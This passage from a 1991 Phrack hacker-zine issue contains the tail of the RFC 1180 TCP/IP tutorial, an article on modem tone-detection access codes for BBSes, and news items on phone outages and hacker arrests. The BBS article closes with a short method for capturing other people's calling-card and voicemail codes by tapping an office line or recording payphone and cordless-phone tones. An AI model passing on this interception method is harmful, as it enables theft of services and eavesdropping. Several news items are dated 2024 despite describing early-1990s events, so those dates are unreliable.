-------------------------------------------------------------------- |223.1.2 direct 1 | |223.1.3 indirect 223.1.2.4 1 | |223.1.4 indirect 223.1.2.4 1 | -------------------------------------------------------------------- TABLE 11. Alpha Route Table with Numbers The router in Alpha's route table is the IP address of delta's connection to the development network. 5.10 Indirect Scenario Alpha is sending an IP packet to epsilon. The IP packet is in alpha's IP module and the destination IP address is epsilon (223.1.3.2). IP extracts th network portion of this IP address (223.1.3) and scans the first column of the table looking for a match. A match is found on the second entry. This entry indicates that computers on the 223.1.3 network can be reached through the IP-router devnetrouter. Alpha's IP module then does an ARP table translation for devnetrouter's IP address and sends the IP packet directly to devnetrouter through Alpha's interface number 1. The IP packet still contains the destination address of epsilon. The IP packet arrives at delta's development network interface and is passed up to delta's IP module. The destination IP address is examined and because it does not match any of delta's own IP addresses, delta decides to forward the IP packet. Delta's IP module extracts the network portion of the destination IP address (223.1.3) and scans its route table for a matching network field. Delta's route table looks like this: ---------------------------------------------------------------------- |network direct/indirect flag router interface number| ---------------------------------------------------------------------- |development direct 1 | |factory direct 3 | |accounting direct 2 | ---------------------------------------------------------------------- TABLE 12. Delta's Route Table Below is delta's table printed again, without the translation to names. ---------------------------------------------------------------------- |network direct/indirect flag router interface number| ---------------------------------------------------------------------- |223.1.2 direct 1 | |223.1.3 direct 3 | |223.1.4 direct 2 | ---------------------------------------------------------------------- TABLE 13. Delta's Route Table with Numbers The match is found on the second entry. IP then sends the IP packet directly to epsilon through interface number 3. The IP packet contains the IP destination address of epsilon and the Ethernet destination address of epsilon. The IP packet arrives at epsilon and is passed up to epsilon's IP module. The destination IP address is examined and found to match with epsilon's IP address, so the IP packet is passed to the upper protocol layer. 5.11 Routing Summary When a IP packet travels through a large internet it may go through many IP-routers before it reaches its destination. The path it takes is not determined by a central source but is a result of consulting each of the routing tables used in the journey. Each computer defines only the next hop in the journey and relies on that computer to send the IP packet on its way. 5.12 Managing the Routes Maintaining correct routing tables on all computers in a large internet is a difficult task; network configuration is being modified constantly by the network managers to meet changing needs. Mistakes in routing tables can block communication in ways that are excruciatingly tedious to diagnose. Keeping a simple network configuration goes a long way towards making a reliable internet. For instance, the most straightforward method of assigning IP networks to Ethernet is to assign a single IP network number to each Ethernet. Help is also available from certain protocols and network applications. ICMP (Internet Control Message Protocol) can report some routing problems. For small networks the route table is filled manually on each computer by the network administrator. For larger networks the network administrator automates this manual operation with a routing protocol to distribute routes throughout a network. When a computer is moved from one IP network to another, its IP address must change. When a computer is removed from an IP network its old address becomes invalid. These changes require frequent updates to the "hosts" file. This flat file can become difficult to maintain for even medium-size networks. The Domain Name System helps solve these problems. 6. User Datagram Protocol UDP is one of the two main protocols to reside on top of IP. It offers service to the user's network applications. Example network applications that use UDP are: Network File System (NFS) and Simple Network Management Protocol (SNMP). The service is little more than an interface to IP. UDP is a connectionless datagram delivery service that does not guarantee delivery. UDP does not maintain an end-to-end connection with the remote UDP module; it merely pushes the datagram out on the net and accepts incoming datagrams off the net. UDP adds two values to what is provided by IP. One is the multiplexing of information between applications based on port number. The other is a checksum to check the integrity of the data. 6.1 Ports How does a client on one computer reach the server on another? The path of communication between an application and UDP is through UDP ports. These ports are numbered, beginning with zero. An application that is offering service (the server) waits for messages to come in on a specific port dedicated to that service. The server waits patiently for any client to request service. For instance, the SNMP server, called an SNMP agent, always waits on port 161. There can be only one SNMP agent per computer because there is only one UDP port number 161. This port number is well known; it is a fixed number, an internet assigned number. If an SNMP client wants service, it sends its request to port number 161 of UDP on the destination computer. When an application sends data out through UDP it arrives at the far end as a single unit. For example, if an application does 5 writes to the UDP port, the application at the far end will do 5 reads from the UDP port. Also, the size of each write matches the size of each read. UDP preserves the message boundary defined by the application. It never joins two application messages together, or divides a single application message into parts. 6.2 Checksum An incoming IP packet with an IP header type field indicating "UDP" is passed up to the UDP module by IP. When the UDP module receives the UDP datagram from IP it examines the UDP checksum. If the checksum is zero, it means that checksum was not calculated by the sender and can be ignored. Thus the sending computer's UDP module may or may not generate checksums. If Ethernet is the only network between the 2 UDP modules communicating, then you may not need checksumming. However, it is recommended that checksum generation always be enabled because at some point in the future a route table change may send the data across less reliable media. If the checksum is valid (or zero), the destination port number is examined and if an application is bound to that port, an application message is queued for the application to read. Otherwise the UDP datagram is discarded. If the incoming UDP datagrams arrive faster than the application can read them and if the queue fills to a maximum value, UDP datagrams are discarded by UDP. UDP will continue to discard UDP datagrams until there is space in the queue. 7. Transmission Control Protocol TCP provides a different service than UDP. TCP offers a connection- oriented byte stream, instead of a connectionless datagram delivery service. TCP guarantees delivery, whereas UDP does not. TCP is used by network applications that require guaranteed delivery and cannot be bothered with doing time-outs and retransmissions. The two most typical network applications that use TCP are File Transfer Protocol (FTP) and the TELNET. Other popular TCP network applications include X-Window System, rcp (remote copy), and the r- series commands. TCP's greater capability is not without cost: it requires more CPU and network bandwidth. The internals of the TCP module are much more complicated than those in a UDP module. Similar to UDP, network applications connect to TCP ports. Well- defined port numbers are dedicated to specific applications. For instance, the TELNET server uses port number 23. The TELNET client can find the server simply by connecting to port 23 of TCP on the specified computer. When the application first starts using TCP, the TCP module on the client's computer and the TCP module on the server's computer start communicating with each other. These two end-point TCP modules contain state information that defines a virtual circuit. This virtual circuit consumes resources in both TCP end-points. The virtual circuit is full duplex; data can go in both directions simultaneously. The application writes data to the TCP port, the data traverses the network and is read by the application at the far end. As with all sliding window protocols, the protocol has a window size. The window size determines the amount of data that can be transmitted before an acknowledgement is required. For TCP, this amount is not a number of TCP segments but a number of bytes. 8. Network Appliations Why do both TCP and UDP exist, instead of just one or the other? They supply different services. Most applications are implemented to use only one or the other. You, the programmer, choose the protocol that best meets your needs. If you need a reliable stream delivery service, TCP might be best. If you need a datagram service, UDP might be best. If you need efficiency over long-haul circuits, TCP might be best. If you need efficiency over fast networks with short latency, UDP might be best. If your needs do not fall nicely into these categories, then the "best" choice is unclear. However, applications can make up for deficiencies in the choice. For instance if you choose UDP and you need reliability, then the application must provide reliability. If you choose TCP and you need a record oriented service, then the application must insert markers in the byte stream to delimit records. What network aplications are available? There are far too many to list. The number is growing continually. Some of the applications have existed since the beginning of internet technology: TELNET and FTP. Others are relatively new: X-Windows and SNMP. The following is a brief description of the applications mentioned in this tutorial. 8.1 TELNET TELNET provides a remote login capability on TCP. The operation and appearance is similar to keyboard dialing through a telephone switch. On the command line the user types "telnet delta" and receives a login prompt from the computer called "delta". TELNET works well; it is an old application and has widespread interoperability. Implementations of TELNET usually work between different operating systems. For instance, a TELNET client may be on VAX/VMS and the server on UNIX System V. 8.2 FTP File Transfer Protocol (FTP), as old as TELNET, also uses TCP and has widespread interoperability. The operation and appearance is as if you TELNETed to the remote computer. But instead of typing your usual commands, you have to make do with a short list of commands for directory listings and the like. FTP commands allow you to copy files between computers. 8.3 rsh Remote shell (rsh or remsh) is one of an entire family of remote UNIX style commands. The UNIX copy command, cp, becomes rcp. The UNIX "who is logged in" command, who, becomes rwho. The list continues and is referred to collectively to as the "r" series commands or the "r*" (r star) commands. The r* commands mainly work between UNIX systems and are designed for interaction between trusted hosts. Little consideration is given to security, but they provide a convenient user environment. To execute the "cc file.c" command on a remote computer called delta, type "rsh delta cc file.c". To copy the "file.c" file to delta, type "rcp file.c delta:". To login to delta, type "rlogin delta", and if you administered the computers in a certain wa, you will not be challenged with a password prompt. 8.4 NFS Network File System, first developed by Sun Microsystems Inc, uses UDP and is excellent for mounting UNIX file systems on multiple computers. A diskless workstation can access its server's hard disk as if the disk were local to the workstation. A single disk copy of a database on mainframe "alpha" can also be used by mainframe "beta" if the database's file system is NFS mounted commands to use the NFS mounted disk as if it were local disk. 8.5 SNMP Simple Network Management Protocol (SNMP) uses UDP and is designed for use by central network management stations. It is a well known fact that if given enough data, a network manager can detect and diagnose network problems. The central station uses SNMP to collect this data from other computers on the network. SNMP defines the format for the data; it is left to the central station or network manager to interpret the data. 8.6 X-Window The X Window System uses the X Window protocol on TCP to draw windows on a workstation's bitmap display. X Window is much more than a utility for drawing windows; it is entire philosophy for designing a user interface. 9. Other Information Much information about internet technology was not included in this tutorial. This section lists information that is considered the next level of detail for the reader who wishes to learn more. o administration commands: arp, route, and netstat o ARP: permanent entry, publish entry, time-out entry, spoofing o IP route table: host entry, default gateway, subnets o IP: time-to-live counter, fragmentation, ICMP o RIP, routing loops o Domain Name System 10. References [1] Comer, D., "Internetworking with TCP/IP Principles, Protocols, and Architecture", Prentice Hall, Englewood Cliffs, New Jersey, U.S.A., 1988. [2] Feinler, E., et al, DDN Protocol Handbook, Volume 2 and 3, DDN Network Information Center, SRI International, 333 Ravenswood Avenue, Room EJ291, Menlow Park, California, U.S.A., 1985. [3] Spider Systems, Ltd., "Packets and Protocols", Spider Systems Ltd., Stanwell Street, Edinburgh, U.K. EH6 5NG, 1990. 11. Relation to other RFCs This RFC is a tutorial and it does not UPDATE or OBSOLETE any other RFC. 12. Security Considerations There are security considerations within the TCP/IP protocol suite. To some people these considerations are serious problems, to others they are not; it depends on the user requirements. This tutorial does not discuss these issues, but if you want to learn more you should start with the topic of ARP-spoofing, then use the "Security Considerations" section of RFC 1122 to lead you to more information. 13. Authors' Addresses Theodore John Socolofsky EMail: TEDS@SPIDER.CO.UK Claudia Jeanne Kale EMail: CLAUDIAK@SPIDER.CO.UK Note: This info taken from RFC-1180. _______________________________________________________________________________ ==Phrack Inc.== Volume Three, Issue Thirty-four, File #9 of 11 ._._._._._._._._._._._._._._._._._._._._._._._._. ! ! ! Advanced Modem-Oriented BBS Security ! ! ! ! By Laughing Gas and Dead Cow ! ! ! ! Written Exclusively for PHRACK 8/22/91 ! !_._._._._._._._._._._._._._._._._._._._._._._._! * Introduction =-= Things you need to know * This is an introduction and guide to setting up your BBS and modem so that a caller must know a certain code and append it to his dialing string in order to access the BBS. This lets you have yet another way (besides newuser passwords, etc) to lock out unwanted callers. You can also set a certain pattern for your board's numerical code based on the day or the month or something, and distribute this pattern instead of having to distribute the access code. You must have an intelligent modem to be able to run a board which requires the access method I'm going to be discussing in this file. However you don't need an intelligent modem to be able to call the same board, but you do have to enter the code manually if you do not have an intelligent modem. (So only certain people can run a board with this method of access control, but >almost< anyone can call one.) All modem commands in this manual will be hayes 'AT' style commands, and some may be available only to USRobotics Courier modems with v.42bis, or certain other intelligent modems. If you can't get it to work with your modem, your modem may not be able to do it, but try looking in your modem manual, just in case. NOTE: The ONLY modem that this method has been tested with is a USRobotics Courier HST modem, (the new kind) with the v.42bis. I tested it with my modem which is an older HST (14.4, but no v.42bis) and it did NOT accept the AT%T command (it returned "ERROR"). Check page 83 of your HST manual for more info, or type AT%$ for on-line help from the modem firmware. (about as helpful as the manual, and neither are very detailed.) Things to know: ATDT1234567; This command causes your modem to dial 1234567 and then return to command mode. ATDT1234567@1; This command causes your modem to dial 1234567, wait fo r an answer, dial 1 and return to command mode. |-----> AT%T This command causes every tone that goes into the modem | to be identified and followed with a 0. | |---------------------- This is the key to the whole enchilada. Alternate commands may be available depending on your modem type. * Concept =-= How-To The concept for the bbs access code would be as follows. The caller dials the number to the BBS, when the BBS picks up, it sends a digit, then the caller sends a responding set of digits. If the digits which the caller sends match the access code for the BBS, the BBS will send an answer tone and the caller's modem will acknowledge and connection. How it works is like this: (Sample Transcript) CALLER> ATDT1234567@234 BBS> RING BBS> ATDT1; BBS> OK BBS> AT%T BBS> 202440 BBS> ATA What happens is the caller dials 1234567 (the number of the BBS) the '@' tells the callers modem to wait for a result (which is received when the BBS gets a ring and sends a 1) then the callers modem dials 234 (the access code) after the BBS sent the '1' it got a OK so it sent a AT%T which told it to monitor tones. This command returned "203040" which is 234 followed by 0's (the format of the output of AT%T) the BBS software would have to watch for this string. Since 234 was the right code, the board sent an ATA which would connect the caller since it's dial command was still open. If 234 hadn't been the code, then the BBS would have sent a ATH0. * Manual Dialing =-= Lame modems * Anyway, if you don't have a modem that does the AT%T or ATDT1; commands you CANNOT run a BBS with this type of security, unless your modem has EQUIVALENT commands, or you can figure out a way to do it with the commands your modem has. The toughest part is the reading of tones, which, as far as I know, is unique to the HST/Courier modems. However, if your modem does not do the ATDT1@1 thing, then you can PROBABLY still call a board using this security. This is assuming you can just send a "dial command" to your modem without a number (ie ATD on an HST.) What you do is dial the BBS number manually, then you'll here a beep, you dial the code, then send the dial command to your modem and put the phone down. This should connect you in the same fashion.. (ie..) CALLER> manually dials BBS BBS> ATDT1; CALLER> hears beep and dials 234, then sends ATD to his modem and puts the phone down. BBS> OK BBS> AT%T BBS> 202440 BBS> ATA CALLER> his modem connects. * Bells and Whistles =-= Wrapping It Up * Your options when using this type of security. There are many different things you can do. Method #1: You can say "Hey, the access code for my board is 234" and give that to the people you want to call. Method #2: Set a pattern for your access codes. Say, the date (ie, for today, 8-22-91 the code would be 082291), or you could get more complex (add one to each digit, run it through an algorithm, etc) Method #3: Distribute a program that generates the code based on the day, the month, what have you. (However this is only a solution if you can either distribute a program like this to EVERY type of operating system, or you only want callers from one operating system (or several, the only ones you can produce it for..) Method #4: Have the BBS accept several codes, and give out different code to each class of users (say, newusers to apply = 1234, validated = 2345, elite = 3456) or something like that, this would allow for control of who calls when, as well as logging of call class frequency, etc. Method #5: Have a specific code for each user. This would take a lot of maintenance, but would provide for a VERY secure BBS environment. This would allow the same advantages above as well (logging, freq. etc). Things to keep in mind however are if you have an access code generated by a program or by the date, etc. you have to change the code whenever the program would. An interesting side note here is that the AT%T command can be used to call a COCOT (private payfone) and record the tones, or possibly to record codes other people entered, etc. (Ie, bring your laptop with modem to a office, attach it to an extension and wait for a person to pick up, issue the ATD; command right away, then AT%T command. If the person dials a 950, you should get something like 90500010003030 (pause) 202440506070 that is assuming the code is 234567. Congratulations, you now have their code. The modem can recognize the dtmf tones for 0-9, *, #, and the silver box tones A, B, C, and E. I'm sure other interesting uses for this feature can be found, and I'd love to hear from the other people out there in the h/p world. I'm sure a lot of you have seen me around, for those that haven't I can be reached on my board, Solsbury Hill or Ripco (312) or on Internet as lgas@doomsday.spies.com. (Note: Spies is down as of this writing, I have some other accounts, but I'd prefer that most of them remain unknown... if anyone wants to offer me an account I can use just for mail where I can have my alias for the account name, on a stable system, please contact me.) * Non-BBS Oriented Stuff =-= Conclusion * In some issue of 2600 magazine someplace at some time they published an article on how to build a tone detection device: Now you have your own, built in to the modem. An example application of this "in the field" would be calling a COCOT and using the modem to decipher the tones. That would be done: ATDT3014283268; ;call the COCOT AT%T ;get tones it should respond with the decoded tones. You could fool around with it and get it to accept input from a tape recorder, this gives you a way to decipher recorded VMB passcodes, or phone numbers, or anything else that was recorded as it was dialed. Or use it with a radio scanner set to scan the freqs that cordless fones operate on, and record those tones. Then play 'em back into the modem and they're yours. In conclusion... (ahem).. This is an area which I believe has never been breached before, and this idea was brought to you by THUGS. As long as technology keeps advancing, we'll be here to bring you the latest tricks such as this one. Please contact me if you have any information about this area (tone detection via modem, or anything relating to it at all..) especially if you know of modems besides the v.42bis models of USRobotic's HSTs that can do this. Laughing Gas Solsbury Hill BBS (301-428-3268) _______________________________________________________________________________ ==Phrack Inc.== Volume Three, Issue Thirty-Four, File #10 of 11 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Phrack World News PWN PWN PWN PWN Issue XXXIV / Part One PWN PWN PWN PWN Compiled by Dispater PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN What We Have Got Here Today is Failure to Communicate ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Editors Comment: Dispater With hundreds, maybe thousands of lives at stake, three airports in New York had to shut down due to a long distance carrier failing. It is absolutely amazing how irresponsible these services were to rely on only on form of communication. Where was the back up system? This incident might not have happened it they would have had an alternative carrier or something as simple as two way radios. Many people are running around these days screaming about how irresponsible AT&T was. The real problem lyes with people in our society failing to take the time to learn fundamental aspects of the common technology. It is also a shame that the people "in control" were incapable of using something as simple as a "port" to dial through another extender. This is the kind of thing that happens when people choose to isolate themselves from the technological society we have today. What follows is a compilation of several articles dealing with AT&T long distance carrier failures. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Thank You for abUsing AT&T October 18, 2024 ~~~~~~~~~~~~~~~~~~~~~~~~~ by Kimberly Hayes Taylor and Steve Marshall (USA Today "Phone Failure Stalls Air Traffic Disruption in N.Y. Felt Nationwide") Air traffic in and out of New York City resumed late Tuesday after a phone-service failure virtually shut down three airports for almost four hours. Hundreds of flights coast to coast were delayed or canceled when controllers at John F. Kennedy, La Guardia and Newark (New Jersey) airports lost the link that allows communication among themselves or with other U.S. airports. Communications between pilots and air-traffic controllers travel over telephone lines to ground-based radio equipment. AT&T spokesman Herb Linnen blamed an internal power failure in a long-distance switching office in Manhattan. Hours after the 4:50 PM EDT failure, 40 planes loaded with passengers were sitting on the runway at Kennedy, 35 at Newark, 30 at La Guardia. "During the height of the thing, at least 300 aircraft were delayed at metropolitan airports," said Bob Fulton, a spokesperson for the Federal Aviation Administration. Included: flights taking off "from California to Florida" and headed for New York, said FAA's Fred Farrar. Farrar said planes had to be grounded for safety. Without telephone communication, they would "fly willy-nilly." Among diverted flights: a British Airways supersonic Concorde from London, which landed at Bradley airport outside Hartford, Conn. Passenger reaction: at Washington's National Airport, Dominique Becoeur of Paris was "reading, drinking, and thinking" while waiting for a flight to New York. At La Guardia, Ernie Baugh, of Chattanooga, Tenn., said, "I think I will go and have another beer." Flights were reported resuming by 9 p.m. EDT. Linnen said AT&T was busy Tuesday night restoring long-distance service in and out of New York City, which had been interrupted. Some international service also had been affected. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - AT&T's Hang Ups October 19, 2024 ~~~~~~~~~~~~~~ By John Schneidawind (USA Today - "The Big Hang-Up Phone Crash Grounds Airplanes, Raises Anger") The Federal Administration Aviation has some good news for travelers who were stranded at airports, or delayed for hours, the past two days by the New York City telephone outage. If a similar phone disaster strikes next month, hardly any fliers will know the difference. That's because AT&T is close to completing installation of a network of microwave dishes that will supplement, if not replace, the phone lines AT&T uses to relay calls between air-traffic controllers in different cities. Tuesday evening, flights in and out of some of the nation's busiest airports - Kennedy, La Guardia, and Newark, N.J. - were grounded because FAA controllers couldn't communicate with one another. For much of the 1980's, land-based fiber optic lines have been slowly replacing microwave phone dishes phone companies long have used to transmit telephone calls. That's because fiber-optic wires were thought to provide clearer calls than microwave technology. Now, it's becoming apparent that sending some or most telephone calls via wireless microwave might ease the burden handled by fiber-optic cables. In addition, a microwave call could be transmitted point-to-point, bypassing an inoperative switching center when a breakdown or catastrophe occurs. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Computer Maker Says Tiny Software Flaw Caused Phone Disruptions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Edmund L Andrews (New York Times) WASHINGTON -- A manufacturer of telephone call-routing computers said that a defect in three or four lines of computer code, rather than a hacker or a computer "virus," appeared to be the culprit behind a mysterious spate of breakdowns that disrupted local telephone service for 10 million customers around the country in late June and early this month. In congressional testimony Tuesday, an official of the manufacturer, DSC Communications of Plano, Texas, said all the problems had been traced to recent upgrades in its software, which had not been thoroughly tested for hidden "bugs." Although the telephone companies that experienced failures were using slightly different versions of the software, the company said, each version was infected with the flaw. "Our equipment was without question a major contributor to the disruptions," Frank Perpiglia, DSC's vice president for technology and product development, told the House telecommunications subcommittee. "We must be forthright in accepting responsibility for failure." Officials at both DSC and the regional Bell companies said they could not entirely rule out the possibility of sabotage, but said the evidence points strongly to unintentional errors. The flaws caused the computers to send a flood of erroneous messages when the computer encountered routine maintenance problems. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - TELEPHONE TECHNOLOGY QUESTIONED AFTER FAILURES ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Edmund L. Andrew (New York Times) WASHINGTON -- Striking similarities between nearly simultaneous computer malfunctions that disrupted local telephone service on the East Coast and in Los Angeles on Wednesday have raised questions among communications experts about the reliability of advanced networks that all the Bell telephone companies are now installing. The problems experienced by both Pacific Bell and the Chesapeake and Potomac Co., which serves Washington, Maryland, Virginia and parts of West Virginia, involved computer programs on advanced call-routing equipment, which uses the same new technology, one being adopted throughout the communications industry. The problems, which were corrected in both areas by early evening on Wednesday, made it impossible for about nine million telephone customers to complete local telephone calls. Although the origins of both malfunctions remained unclear on Thursday, the difficulties at the two companies bore a strong resemblance to a brief but massive breakdown experienced by the American Telephone and Telegraph Co.'s long-distance lines in January 1990. In all three cases, a problem at one switching center quickly corrupted other switches and paralyzed much of the system. Perhaps the biggest fear, federal regulators say, is that as telephone companies link their networks more closely, malfunctions at one company can infect systems at other companies and at long-distance carriers. "What you want to avoid is the situation where one system contaminates another," said an investigator at the Federal Communications Commission who insisted on anonymity. "I guess the ultimate concern is that software or hardware would be deployed in a way that the corruption could be processed through entire network, and there would be no alternatives available." As the telephone companies and government regulators tried to determine more precisely on Thursday what went wrong, investigators at the communications commission said they would also look at several other questions: Are there system wide problems that have gone unnoticed until now? Can telephone companies reduce risks by reducing their dependence on one type of switching equipment? Were the disruptions caused by computer operators outside the telephone companies trying to sabotage the systems? Officials at both companies discounted the possibility that a computer hacker might have caused the failures, and outside experts tended to agree. "There's always that possibility, but most likely it was some kind of glitch or bug in the software," said A. Michael Noll, a professor at the Annenberg School of Communications at the University of Southern California and author of several textbooks on telecommunications technology. Several independent communications experts said the problems reflected the difficulty of spotting all the hidden problems in complex software before putting it into commercial use. "It's very hard to simulate all the possibilities in a laboratory," said Richard Jay Solomon, a telecommunications consultant and research associate at the Massachusetts Institute of Technology. "You have to go out in the field and keep your fingers crossed." As more information became available on Thursday, the two disruptions appeared to be almost identical. The problem at Chesapeake & Potomac, a subsidiary of the Bell Atlantic Corp., began as the company was increasing the traffic being routed by one of its four signal processing computers. For reasons that remain a mystery, the system began to malfunction about 11:40 a.m. The computer was supposed to shut itself down, allowing the traffic to be handled by other computers. Instead, it sent out a barrage of erroneous signals, apparently overwhelming the other two computers. "It was as if bogus information was being sent," said Edward Stanley, a company spokesman. The same thing seems to have occurred almost two hours later, at about 11 a.m., in Los Angeles, said Paul Hirsch, a spokesman for Pacific Bell, a subsidiary of the Pacific Telesis Group. Hirsch said the problem began when one of four signal transfer points signaled to the others that it was having problems. The other three computers froze after being overloaded by signals the defective computer. Hirsch said his company continued to believe that the two telephone incidents were completely unrelated. "Someone wins the lottery every week," he said. "Stranger things can happen." Officials at Chesapeake and Potomac said the problems were probably unrelated. Asked if hackers could have caused the problems, Ellen Fitzgerald, a spokeswoman for Chesapeake and Potomac, said she had been assured that the system could not be penetrated. But, she added, "a few days ago I would have told you that what happened yesterday wouldn't happen." Terry Adams, a spokesman at the DSC Communications Corp., which made both systems, said company officials also discounted any connection between the failures. ______________________________________________________________________________ ==Phrack Inc.== Volume Three, Issue Thirty-four, File #11 of 11 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Phrack World News PWN PWN PWN PWN Issue XXXIV, Part Two PWN PWN PWN PWN Compiled by Dispater PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Mind Rape or Media Rape? ~~~~~~~~~~~~~~~~~~~~~~~ Special Thanks: Night Ranger Thursday September 26, 2024 was no ordinary day for Mind Rape, a young Arizona State college student. When he finally made it home that day, he found his hom e had been raided by the feds. 'They took EVERYTHING! Including my Metallica tape!' he told me. After talking to him for quite a while I learned a lot, not just about his bust but about hacking in general. He instructed me not to say anything specifically on the advice of his lawyer and the EFF, but he did want me to let the real reason he was busted be known - His electronic newsletter entitled NSA (for National Security Anarchists). Mind Rape has some very important views on hacking that the government doesn't want others to hear. Some of these views were contained in his newest and soon to be released newsletter NSA issue number five, which was confiscated of course. He was also working on a book about hacker's philosophy, which was taken too. He has not yet been charged but in the eyes of the media he is already been tried and found guilty. It is unfortunate the general public gets its information from news reports like the following because, as you can see, they can be quite misleading. Hopefully once Mind Rape gets everything straight he will continue to write his book, after all it is his constitutional right to do so, and I think it be quite informative to both the hackers of the nineties and the outside world. The following is a transcript of a news report covering his story... - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Male Announcer: That student is Donald _____ of Phoenix. Officials of LDL Long Distance believe he's one of around 20 hackers who've been ripping off their company for fun and profit. In tonight's Night Team Report we'll see how this kind of thievery adds up. The nation's telephone companies loose more than a billion dollars a year to hackers. Mark Nighten (sp?) a security director for LDL Long Distance. Last month he was poring through records like these which convinced him to believe that someone was making hundreds of computer generated phone calls to his company's 1-800 access line trying to get customer's calling card codes. He went to the Phoenix Police. They got a search warrant and traced the calls to a house near 18th Drive near Union Hills. Police went there last month and came away with a computer, software and a list of phone codes, all belonging to 19 year old Donald _____ an ASU student. With nighten suspects _____ is just one of 20 hacker on his network who can make thousands of dollars worth of calls which would wind up on other people's phone bills. Mark: You can see the magnitude of this. Off of one authorization code you could have 10, maybe 150 other people... Male Announcer: Lemme ask ya...How bad are you getting ripped off here? Mark: We've had to have somebody on this 24 hours a day. We've been getting killed. Male Announcer: Hackers often sell the codes they steal to other students. So that hundreds of students and Arizona State University and University of Arizona also could be ripping of the company. Students at Arizona State University told me today that they have not herd of LDL's troubles, but they confirmed that stolen phone codes do have a way of getting around. I iz a College Student: Someone hears...ya know...about the interest and someone else knows somebody...ya know...and they tell you and you talk to them and...ya know...it's not overly expensive or anything like that. Male Announcer: Dr. Dan Kneer of Arizona State University's School of Business is a nationally recognized expert on computer crime. [who?] He contends that hacking is mushrooming. Dr. Dan: The problem that I see is that these people philosophically don't see this as a crime. For most of them this is an intellectual challenge. Male Announcer: That challenge led Dutch students to break into a United States Army Computer during operation desert storm. And as this Japanese documentary shows, it led hackers in a New York City to use payphones to commit big time rip-offs. Now it's important to point out that Donald ______, that Arizona State University student, has not yet been charged with any crime and if he is charged he is innocent until proven guilty. Female announcer: What is the penalty for hacking? Male Announcer: Just for getting into a system when you're not supposed to can be up to a year and a half in prison. But if there is criminal intent to steal, to rip-off that system, the penalty can be as high as 10 years in jail and a $150,000.00 fine. _______________________________________________________________________________ Computer Hacker Gets Probation September 26, 2024 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Special Thanks: Flaming Carrot (Pittsburgh Post-Gazette) A Mt. Lebanon woman who was able to make thousands of free long-distance telephone calls by breaking into voice mail boxes with a touch tone telephone has been placed on 10 years probation. Last Friday, Common Pleas Judge Robert E. Dauer ordered Andrea Gerulis, 20, of Castle Shannon Boulevard to make restitution of $4,300 to Magee Womens Hospital and $2,516 to Pittsburgh Cellular Telephone Co. Gerulis, a Mt. Lebanon High School graduate, was a computer hacker who entered telephone computer systems illegally so that she could make telephone calls without paying for the service. Mt. Lebanon police Detective John L. Michalec posed as a computer hacker and spent nine months investigating her activities, which were done by dialing codes on a touch-tone telephone. After a non-jury trial in May, Dauer convicted her of two counts of theft of services and two counts of unlawful use of computers. Assistant District Attorney Thaddeus A. Dutkowski recommended probation because he didn't want Gerulis to go to jail, where she could teach inmates how to commit crimes with a telephone. If she were incarcerated, she would have the largest classroom environment she could hope for, Dutkowski said. Dauer agreed that inmates already know too much about committing crimes with telephones. Gerulis told Dauer that she was sorry for what she did, that when she started, she was doing it for fun. She was also ordered to continue psychological counseling. _______________________________________________________________________________ More Archaic Government Regulations Proposed ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Special Thanks: Stainless Steal Provider (New York Times) The federal government said Thursday that it would introduce a standard for authenticating electronic data later this summer, but the announcement prompted an angry reaction from one of the leading private providers of softwar e that protects computer data. The company, RSA Data Security Inc. of Redwood City, Calif., said the government had failed to address fears about the possibility of a secret "trap door," which would permit intelligence and law-enforcement agencies to look at private data. The issue of providing special mechanisms to permit government access to private information has caused a growing public debate recently. Earlier this year an anti-terrorism bill introduced in Congress called on the computer and telecommunication industries to permit federal agencies to look at private data. But the statement was later dropped from the bill after extensive public opposition. Government officials said that it would be possible for technical experts to examine the standard when it is released this summer and they could decide for themselves whether there were any shortcomings in the design of the standard. "It will be openly published and people can inspect it to their heart's content," said James H. Burrows, head of the computer systems laboratory at the National Institute of Standards and Technology. He added that the new standard was not intended to encrypt computer data, and that the government would continue to rely on an earlier technology known as the Data Encryption Standard to actually hide information from potential electronic eavesdroppers. Burrows said there was a project under way to develop a successor to that standard, but that it was years away from completion. ______________________________________________________________________________ Computer Whiz Accused Of Illegal Access and Mischief September 25, 2024 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Peter G. Chronis (The Denver Post Page 1 "NASA vs. Hobbyist") An Aurora computer hobbyist who allegedly used a personal computer and his home phone to penetrate NASA computers hacked off Uncle Sam enough to be indicted on seven federal counts yesterday. Richard G. Wittman, 24, the alleged "hacker," was accused of two felonies, including gaining unauthorized access to NASA computers to alter, damage, or destroy information, and five misdemeanor counts of interfering with the government's operation of the computers. Wittman allegedly got into the NASA system on March 7, June 11, June 19, June 28, July 25, July 30, and Aug. 2, 1. Bob Pence, FBI chief in Denver, said Wittman used a personal computer in his home and gained access to the NASA systems over telephone lines. The investigation, which took more than a year, concluded that Wittman accessed the NASA computer system and agency computers at the Marshall Space flight Center i n Huntsville, Alabama, and the Goddard Space Flight Center in Greenbelt, Maryland. The NASA computers are linked to a system called Telenet, which allows qualified people to access government data bases. A user name and password are required to reach the NASA computers. Federal sources declined to reveal more information because the complex case involves "sensitive material." Wittman, a high-school graduate, apparently hadn't worked in the computer industry and held a series of odd jobs. The felony counts against him each carry a possible five-year prison term and $250,000 fine. _______________________________________________________________________________ Security Increases ~~~~~~~~~~~~~~~~~ 